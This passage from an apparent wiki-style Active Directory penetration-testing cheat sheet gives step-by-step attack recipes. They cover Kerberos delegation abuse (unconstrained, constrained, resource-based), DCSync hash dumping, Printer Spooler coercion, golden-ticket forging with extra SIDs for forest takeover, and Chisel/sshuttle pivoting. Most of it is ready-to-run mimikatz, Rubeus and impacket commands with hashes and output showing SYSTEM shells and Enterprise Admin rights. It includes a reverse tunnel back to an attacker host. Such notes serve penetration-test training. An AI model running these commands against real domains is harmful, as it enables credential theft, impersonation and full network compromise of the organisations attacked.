Rubeus.exe ptt /ticket:[Base64EncodedTicket]
# The CDC01$ account has domain replication permissions, allowing for dcsync to dump password hashes.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# With krbtgt NTLM hash we can craft a golden ticket.
# We can also dump the hash for the domain admin and
lsadump::dcsync /domain:prod.corp1.com /user:prod\administrator
impacket-psexec administrator@192.168.229.70 -hashes :2892d26cdf84d7a70e2eb33fc5rk56l7
[*] Requesting shares on 192.168.229.70.....
[*] Found writable share ADMIN$
[*] Uploading file bUwUVqLI.exe
[*] Opening SVCManager on 192.168.229.70.....
[*] Creating service FyXV on 192.168.229.70.....
[*] Starting service FyXV.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
</syntaxhighlight>

==== PrinterBug (from Linux) ====

[https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained https://www.thehacker.recipes/a-d/movement/kerberos/delegations/unconstrained]

[https://cheatsheet.haax.fr/windows-systems/privilege-escalation/delegations/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/dirkjanm/krbrelayx GitHub - dirkjanm/krbrelayx: Kerberos unconstrained delegation abuse toolkit]

<syntaxhighlight lang="bash">
# If MachineAccount is vulnerable to UC, but you have compromised credentials to that machine and have admin, use secrets dump to dump NTLM hash of the machineAccount.
# 0. Look for hostname and NTLM hash
impacket-secretsdump domain/user:password@targetIP
...
CORP\FILES01$NTLM-HASH
...
# 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)
addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'
python addspn.py -u foo.lan\\ownedUser -p userPassword -s host/PWNED.foo.lan ldap://dc1.foo.lan
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs
dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'
python dnstool.py -u foo.lan\\ownedUser -p userPassword -r PWNED.foo.lan -a add -d DC1.foo.lan
# 3. Check that the record was added successfully (after ~3 minutes)
nslookup attacker.DOMAIN_FQDN DomainController
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys
krbrelayx.py --krbsalt 'DOMAINusername' --krbpass 'password'
# 4.b. or supply the right Kerberos long-term key directly
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE
sudo python krbrelayx.py --krbsalt foo.lanownedUser --krbpass userPassword
# 5. Authentication coercion
# PrinterBug, PetitPotam, PrivExchange, ...
printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal's TGT.
# There should be a krbtgt ccache file in the current directory. And it can be used by
export KRB5CCNAME=`pwd`/'krbtgt.ccache'
$ python secretsdump.py -k DC1.foo.lan -just-dc
</syntaxhighlight>

=== Constrained Delegation ===

If a user or computer is allowed for "Constrained Delegation" it will be able to '''impersonate any user to access some services in a computer'''. Then, if you '''compromise the hash''' of this user/computer you will be able to '''impersonate any user''' (even domain admins) to access some services.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#constrained-delegation]

<syntaxhighlight lang="bash">
# userAccountControl
# If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
# msDS-AllowedToDelegateTo
# A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.

# Enumerate from PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Kekeo.exe and Mimikatz.exe
# Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
# Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
# Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

# Rubeus
# Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
# Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
# Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
# Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
# Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
</syntaxhighlight>

=== Constrained Delegation 2 ===

'''S4U2Self'''

* '''Functionality''': Allows a frontend service to request a TGS to the frontend service from a KDC on behalf of the user authenticating against it without needing the user's password or hash

* '''Usage''': If '''TRUSTED_TO_AUTH_FOR_DELEGATION''' is present in the useraccountcontrol property

'''S4U2Proxy'''

* '''Functionality''': Requests a service ticket for the backend service on behalf of a user, depending on the service ticket obtained through S4U2Self or directly from a user authentication via Kerberos

* '''Usage''': Can use a '''forwardable TGS''' supplied by the user if Kerberos is used for authentication to the frontend service

<syntaxhighlight lang="bash">
# We assume we have compromised a user IISsvc that has these delegation rights
msds-allowedtodelegateto : {MSSQLSvc/cdc01.prod.corp1.com:1433, MSSQLSvc/cdc01.prod.corp1.com:SQLEXPRESS}
# First we are going to generate an NTLM hash from the password we compromised
PS C:\Tools> .\Rubeus.exe hash /password:lab
# Requesting TGT for IISSvc with the asktgt command by supplying the
username (/user), domain (/domain), and NTLM hash (/rc4):
PS C:\Tools> .\Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
# With the Base64-encoded TGT for IISSvc, we can use Rubeus' s4u command. Provide the TGT using /ticket, the username (e.g., domain admin) with /impersonateuser (utilizing S4U2Self), the service's SPN with /msdsspn (for S4U2Proxy), and use /ptt to inject it into memory directly.
PS C:\Tools> .\Rubeus.exe s4u /ticket:doIE+jGGBT... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
# We now have the ticket for the service injected into memory and we can authenticate against MSSQL.
PS C:\Tools> klist Current LogonId is 0:0x2b28f Cached Tickets: (1) #0> Client: administrator @ PROD.CORP1.COM Server: mssqlsvc/cdc01.prod.corp1.com:1433 @ PROD.CORP1.COM KerbTicket Encryption Type: RSADSI RC4-HMAC(NT) Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Start Time: 10/9/2023 12:42:35 (local) End Time: 10/9/2023 22:35:29 (local) Renew Time: 10/16/2023 12:35:29 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0 Kdc Called:
.\SQL.exe
Auth success!
Logged in as: PROD\Administrator
...
# Since we have a ticket in memory for authenticating to mssql, we can use this to get code exectution. https://book.ghanim.no/?page_id=2703#Code_Execution

# ATTACKING using kali and impacket
# First enumerate domain for constrained delegation using PowerView
Get-DomainUser -TrustedToAuth
# Look for
samaccountname : iisservice
...
msds-allowedtodelegateto : {MSSQLSvc/sql01.domain.com:SQLEXPRESS, MSSQLSvc/sql01.domain.com:1433}
...
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, TRUSTED_TO_AUTH_FOR_DELEGATION
# Constrained delegation is configured for the iisservice account.
# msds-allowedtodelegateto property contains the SPN of the MS SQL server on SQL01. Indicates that constrained delegation is only allowed to that SQL server.
# TRUSTED_TO_AUTH_FOR_DELEGATION - Value is used to indicate if a constrained delegation can be used if the authentication between the user and the service uses a different authentication mechanism like NTLM.
# Request a ticket. If you have a password remove -hashes
impacket-getTGT domain.com/iisservice -hashes :12bb0b468b42c76d48a3a5ec3b6ce5de
# Export to KRB5CCNAME
export KRB5CCNAME=iisservice.ccache
# iiservice acc is configured with constrained delegation, that means we can request service tickets for other users based on the SPNs set.
impacket-getST -spn mssqlsvc/sql01.domain.com:1433 -impersonate administrator domain.com/iisservice -k -no-pass
# Export the administrator ccache to KRB5CCNAME
export KRB5CCNAME=administrator.ccache
# Connect to sql01 using kerberos authentication
impacket-mssqlclient sql01.domain.com -k
# Or much easier way to obtain code exec if user is SA or DBO is to use MSSQL Pwner
MSSqlPwner.py sql01.corp.com -k -no-pass interactive
</syntaxhighlight>

=== Resource based Constrained Deleagation ===

'''Introduction:'''

* RBCD is a security feature introduced in Windows Server 2012 by Microsoft. It's designed to offer a more secure delegation mechanism, reducing the need for elevated access rights, specifically the SeEnableDelegationPrivilege.

* '''Microsoft's Extensions - S4U2Self and S4U2Proxy'''
Microsoft realized Kerberos needed some help with constrained delegation and the double-hop issue, so they created two add-ons.

* '''S4U2Self (Extension 1)'''
This lets a service prove your identity to another service without needing your password, as if it's you. It's like the service can show a digital ID card that says, "Trust me, I'm acting for this user."

* '''S4U2Proxy (Extension 2)'''
After S4U2Self does its job, S4U2Proxy takes over. It allows the first service to talk to the second service on your behalf. It's as if the service has a special ticket that says, "The user has given me permission to do this."

'''Key Concepts:'''

* '''RBCD Configuration''': The delegation is controlled by the''' msDS-AllowedToActOnBehalfOfOtherIdentity''' property on the backend service.

* '''Advantages''': The need for '''SeEnableDelegationPrivilege''' permissions is eliminated. Backend service administrators can typically configure RBCD.

* '''Attack Prerequisites''': The frontend service must have an SPN set in the domain. While user accounts typically don't have an SPN set, all computer accounts do.

See notes for Resourced box

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation]

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution Kerberos Resource-based Constrained Delegation: Computer Object Takeover - Red Team Notes (ired.team)]

<syntaxhighlight lang="bash">
# The attacker can pass-the-ticket and impersonate the user to gain access to the victim.
# To check the MachineAccountQuota of the domain you can use:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
# Check if you have GenericWrite on a computer object.
Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

# From Windows
# Attack
# Creating a Computer Object
# You can create a computer object inside the domain using :
Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Get-DomainComputer FAKECOMPUTER #Check if created if you have powerview
# Performing a complete S4U attack
# First of all, we created the new Computer object with the password 123456, so we need the hash of that password:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
# This will print the RC4 and AES hashes for that account.
# Now, the attack can be performed. Just use on of the hash types, not all of them :
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
# You can generate more tickets just asking once using the /altservice param of Rubeus:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
### Note that users has an attribute called "Cannot be delegated". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound.
# Accessing
# The last command line will perform the complete S4U attack and will inject the TGS from Administrator to the victim host in memory.
In this example it was requested a TGS for the CIFS service from Administrator, so you will be able to access C$:
ls \\victim.domain.local\C$

# From Linux
# METHOD 2 - GETTING A SHELL
# Create a new machine account on the domain
impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.200.175 -hashes : -computer-name 'FAKECOMPUTER$' -computer-pass '123456'
# Verify that the machine account was added to the domain. Must be done through a shell on the Windows.
*Evil-WinRM* PS C:\Users\l.livingstone\Documents> Get-ADComputer FAKECOMPUTER
# Manage delegation rights by using rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account
https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py
python3 rbcd.py -dc-ip 192.168.200.175 -t RESOURCEDC -f 'FAKECOMPUTER' -hashes : resourced\\l.livingstone
# If you have the hash of the user
impacket-rbcd -action write -delegate-to "BACKUP01$" -delegate-from "FAKECOMPUTER$" resourced.local/l.livingstone -hashes :942f15864b02fdee9f742616ea1eb778
# Confirm that the action was successful
*Evil-WinRM* PS C:\Users\L.Livingstone\Documents> Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-allowedtoactonbehalfofotheridentity
# We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.
/usr/bin/impacket-getST -spn cifs/resourcedc.resourced.local resourced/FAKECOMPUTEr$:'123456' -impersonate Administrator -dc-ip 192.168.200.175
# or
impacket-getST -spn cifs/resourcedc.resourced.local -impersonate administrator 'resourced.local/FAKECOMPUTER$:123456'
# The ticket is aved on our attacker machine as Administrator.ccache. Export the environment variable named KRB5CCNAME with the location of file
export KRB5CCNAME=./Administrator.ccache
# Use psexec to get a shell
/usr/bin/impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.200.175
# or
impacket-psexec administrator@resourcedc.resourced.local -k -no-pass

# From Windows
# Method 3
# Enumerate
PS C:\tools> Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ |
Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
"$($env:UserDomain\$env:Username)") {$_}}
# Creating a New Computer Account:
# Use the Powermad.ps1 script to create a new computer account named myComputer with the password 'h4x'.
. .\powermad.ps1
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-
SecureString 'h4x' -AsPlainText -Force)
# Setting up the Security Descriptor:
# Obtain the SID of the newly created computer account.
# Create a new security descriptor using the obtained SID.
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
# Converting the Security Descriptor:
# Convert the security descriptor into a byte array format suitable for the msDS-AllowedToActOnBehalfOfOtherIdentity property.
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Updating the Property:
# Update the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer object (appsrv01).
Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Verifying the Setup:
# Check the security descriptor to ensure it's set correctly.
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
$Descriptor.DiscretionaryAcl
# Launching the Attack:
# Obtain the hash of the computer account password using Rubeus.
.\Rubeus.exe hash /password:h4x
# Use the S4U extensions with Rubeus to request a TGS for appsrv01, impersonating the administrator.
.\Rubeus.exe s4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221
/impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
# Verifying the Attack:
# List the service ticket to CIFS on APPSRV01 using klist.
klist
# Gaining Access:
# Access the file services on appsrv01 as the administrator domain admin user.
dir \\appsrv01.prod.corp1.com\c$
# Getting shell
psexec.exe \\appsrv01 cmd.exe
</syntaxhighlight>

==== Using NetExec for S4U2Self and S4U2Proxy ====

New feature in [https://twitter.com/hashtag/NetExec?src=hashtag_click #NetExec] : S4U2Self and S4U2Proxy support and automation with --delegate and --self .

It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities

[https://twitter.com/_zblurx/status/1720409757175926893 (2) Thomas Seigneuret on X: "New feature in #NetExec : S4U2Self and S4U2Proxy support and automation with --delegate and --self It allows you to abuse KCD with protocol transition and RBCD automatically in NetExec, and use directly all the postex functionalities 🔥 For example with RBCD: https://t.co/1KgFDNcwcc" / X (twitter.com)]

[[File:2023-11-image.png|thumb]]

It is also possible to use only S4U2Self in order to impersonate any account on a domain joined computer for which you know the credentials:

[[File:2023-11-image-2.png|thumb]]

==== Desc from BloodHound ====

<syntaxhighlight lang="bash">
# Full control of a computer object can be used to perform a resource based constrained delegation attack. Abusing this primitive is currently only possible through the Rubeus project.
# First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account:
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)
# PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
# We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case:
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# We can then use Rubeus to hash the plaintext password into its RC4_HMAC form:
Rubeus.exe hash /password:Summer2018!
# And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER:
Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt
</syntaxhighlight>

== DCSync ==

<syntaxhighlight lang="bash">
impacket-secretsdump domain.com/domainadmin01@dc_IP -hashes :NTLM_HASH -dc-ip DC_IP -outfile dcsync.txt
</syntaxhighlight>

== ACLs Abuse ==

[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces]

== Printer Spooler service abuse ==

If the '''''Print Spooler''''' service is '''enabled,''' you can use some already known AD credentials to '''request''' to the Domain Controller’s print server an '''update''' on new print jobs and just tell it to '''send the notification to some system'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/printers-spooler-service-abuse]

<syntaxhighlight lang="bash">
# Finding Windows servers on the domain
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

# Finding spooler services listening
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
# For linux, use rpcdump.py
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

# Ask service to authenticate against an arbitrary host
# https://github.com/NotMedic/NetNTLMtoSilverTicket
SpoolSample.exe
# For linux use
# https://github.com/NotMedic/NetNTLMtoSilverTicket
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python dementor.py -d domain -u username -p password
printerbug.py 'domain/username:password'@
</syntaxhighlight>

== Zerologon ==

<syntaxhighlight lang="bash">
# https://github.com/dirkjanm/CVE-2020-1472
# https://www.secura.com/blog/zero-logon
# Bypass authentication and gain administrator-level privileges in a matter of seconds. If vulnerable.
# Test for zerologon
https://github.com/SecuraBV/CVE-2020-1472
# PoC
https://github.com/dirkjanm/CVE-2020-1472
</syntaxhighlight>

== Windows Credentials ==

[https://book.ghanim.no/?page_id=2703#Windows_Credentials CheatSheet II – Advanced – BOOK_GHANIM]

----

= Pivoting =

== Living Off the Foreign Land ==
https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform

https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-2

https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform-part-3

https://blog.aghanim.net/?p=2294

== Tunnelling/ Proxying ==

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.
-----------------------------------------------
# SSHUTTLE
# Simulate a VPN tunnel using sshuttle. Now I can reach other targets, which originally was unreacheable, on the network by going through 172.16.0.5
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
</syntaxhighlight>

== Port Forwarding ==

<syntaxhighlight lang="bash">
# -L means portforwarding. This will forward port 80 on host 172.16.0.10 to our attacker on port 8000. Can access the port (webserver) by typing localhost:8000.
ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN
</syntaxhighlight>

= Post-exploitation with high privileged account =

Once you get Domain Admin or Enterprise Admin you can dump the domain database: '''ntds.dit'''.

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#post-exploitation-with-high-privilege-account]

== Dumping Domain Credentials ==

== Persistence ==

== Golden Ticket ==

=== Golden ticket on one domain ===

[https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket]

A valid '''TGT as any user''' can be created '''using the NTLM hash of the krbtgt AD account'''. The advantage of forging a TGT instead of TGS is being '''able to access any service''' (or machine) in the domain and the impersonated user.

<syntaxhighlight lang="bash">
# Find domain SID.
whoami /user # Need to be logged in as a user and not nt authority\system
# Or use PowerView.ps1
Get-DomainSID
# EXAMPLE 1
# Use mimikatz to generate a golden ticket
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:alice /domain:svcorp.com /sid:S-1-5-21-466546139-763938477-1796994327 /target:sv-file01.svcorp.com /service:HTTP /rc4:7f004ce6b8f7b2a3b6c477806799b9c0 /ptt
# EXAMPLE 2
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory
# EXAMPLE 3
# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
# EXAMPLE 4
# Linux - impacket
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass

# With the golden ticket injected into memory, we can launch a new command prompt with
misc::cmd and again attempt lateral movement with PsExec.
psexec.exe \\dc01 cmd.exe
</syntaxhighlight>

=== Taking over forest with extra SIDs ===

'''Crafting the Golden Ticket with Extra SIDs:'''

* Imagine an attacker manages to compromise the krbtgt account of a domain. This is akin to finding a master key. With this, they can meticulously craft a special Kerberos ticket, termed a "golden ticket." This ticket can be manipulated, almost like forging a passport, to include extra SIDs. Specifically, they can add the SID of the Enterprise Admins group from another domain. This means, even if the attacker was initially confined to one domain, this ticket can catapult them to Enterprise Admin rights in another domain.

<syntaxhighlight lang="bash">
# From Windows
# Extract the password hash of the krbtgt account.
mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
# Golden Ticket Creation: Armed with the hash, we can proceed use the kerberos::golden command in Mimikatz. Craft a golden ticket, and append the SID of the Enterprise Admins group from another domain to the ExtraSids field.
# As part of the kerberos::golden command’s arguments, we will need the domain SID for both domains. We can obtain these with Get-DomainSID from PowerView:
PS C:\tools> Get-DomainSID -Domain prod.corp1.com
S-1-5-21-3776646582-2086779273-4091361643
PS C:\tools> Get-DomainSid -Domain corp1.com
S-1-5-21-1095350385-1831131555-2412080359

mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
...
Golden ticket for 'h4x @ prod.corp1.com' successfully submitted for current session

# Get command exec
C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd
...
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

# Verifying Group Memberships
C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type
============================================ ================
Everyone Well-known group
...
PROD\Domain Admins Group
PROD\Group Policy Creator Owners Group
Unknown SID type
Unknown SID type
CORP1\Enterprise Admins Group
...
-----------------------------------------------
# From Linux
https://www.thehacker.recipes/ad/movement/trusts#forging-tickets
ticketer.py -nthash KRBTGT-hash -domain DOMAIN NAME -domain-sid TARGET DOMAIN SID with RID.(can be administrator sid with 500 rid)
ticketer.py -nthash 0540fe51ddd618f42a66ef059ac36555 -domain internal.domain.com -domain-sid S-1-5-21-3056178012-3972705859-491075555 -extra-sid S-1-5-21-2734290894-461713716-14185555-519 Administrator
# Add ccache to krb5ccname
export krb5ccname=Administrator.ccache
# Use secretsdump or psexec or netexec
secretsdump.py 'internal.domain.com/Administrator'@DC01.domain.com -k -no-pass
</syntaxhighlight>

=== SID filtering ===

Forest trust introduces the concept of SID filtering. In forest trust, the contents of the ExtraSids field are filtered so group memberships are not blindly trusted.

<syntaxhighlight lang="bash">
# Using PowerView we can enumerate domain trust on the target domain. We have already compromised corp1.com and we want to generate a golden ticket using the technique above.
PS C:\> Get-DomainTrust -Domain corp2.com
...
TrustAttributes : FOREST_TRANSITIVE
...
# Sometimes orgs need to relax SID filtering protectiong because of merger or other resons. That can be done by enabled SID history, which relax the protection.
C:\Users\Administrator> netdom trust corp2.com /d:corp1.com /enablesidhistory:yes
Enabling SID history for this trust.
The command completed successfully.
# Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the
SID history setting.
# This means we need to find a non-default group, because they will always have a RID higher than 1000.
# We can enumerate members of the built-in administrators on target domain.
Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com
# Once we have everything (The two domain SIDs, krbtgt NTLM hash, and a non-default group RID) we can request a golden ticket using mimikatz.
kerberos::golden /user:h4x /domain:corp1.com /sid:S-1-5-21-1095350385-
1831131555-2412080359 /krbtgt:22722f2e5074c2f03938f6ba2de5ae5c /sids:S-1-5-21-
4182647938-3943167060-1815963754-1106 /ptt
# And gain access to target
C:\> PsExec.exe \\dc01.corp2.com cmd
...
